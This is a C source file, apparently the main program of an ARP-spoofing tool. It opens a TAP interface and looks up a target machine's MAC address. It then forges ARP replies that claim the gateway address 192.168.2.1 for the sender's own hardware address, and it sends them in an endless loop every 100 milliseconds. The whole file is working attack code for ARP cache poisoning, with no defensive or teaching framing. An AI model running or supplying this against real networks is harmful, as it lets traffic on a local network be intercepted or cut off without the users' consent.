#include "arpspoof.h"

int main()
{

    char tap_name[] = "tap1";
    int fd = open_tap(tap_name);
    if (fd == -1)
    {
        ERR("open tap %s err: %s %d ", tap_name, strerror(errno), errno);
        exit(errno);
    }

    int flags = fcntl(fd, F_GETFL, 0);
    if (flags == -1)
    {
        ERR("get tap fd sys flags err %s %d", strerror(errno), errno);
        exit(errno);
    };
    int err = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
    if (err == -1)
    {
        ERR("set tap fd nonblock flags err %s %d", strerror(errno), errno);
        exit(errno);
    }

    uint8_t target_ip_address[] = {192, 168, 2, 156};
    uint8_t source_ip_address[] = {192, 168, 2, 252};
    uint8_t source_hw_address[] = {0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f};
    uint8_t *target_mac = mac_get(fd, target_ip_address, source_ip_address,
                                  source_hw_address);

    uint8_t fake_sender_hw_address[] = {0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f};
    uint8_t fake_sender_pro_address[] = {192, 168, 2, 1};
    struct arp_pck pck = arp_maker_response(fake_sender_hw_address, fake_sender_pro_address,
                                            target_mac, target_ip_address);

    int loop_count = 0;
    while (1)
    {
        LOG("send %d",loop_count);
        print_arr(&pck,sizeof(struct arp_pck),'x');
        __write_all(fd, &pck, sizeof(struct arp_pck));
        usleep(100000);
        loop_count++;
    }
}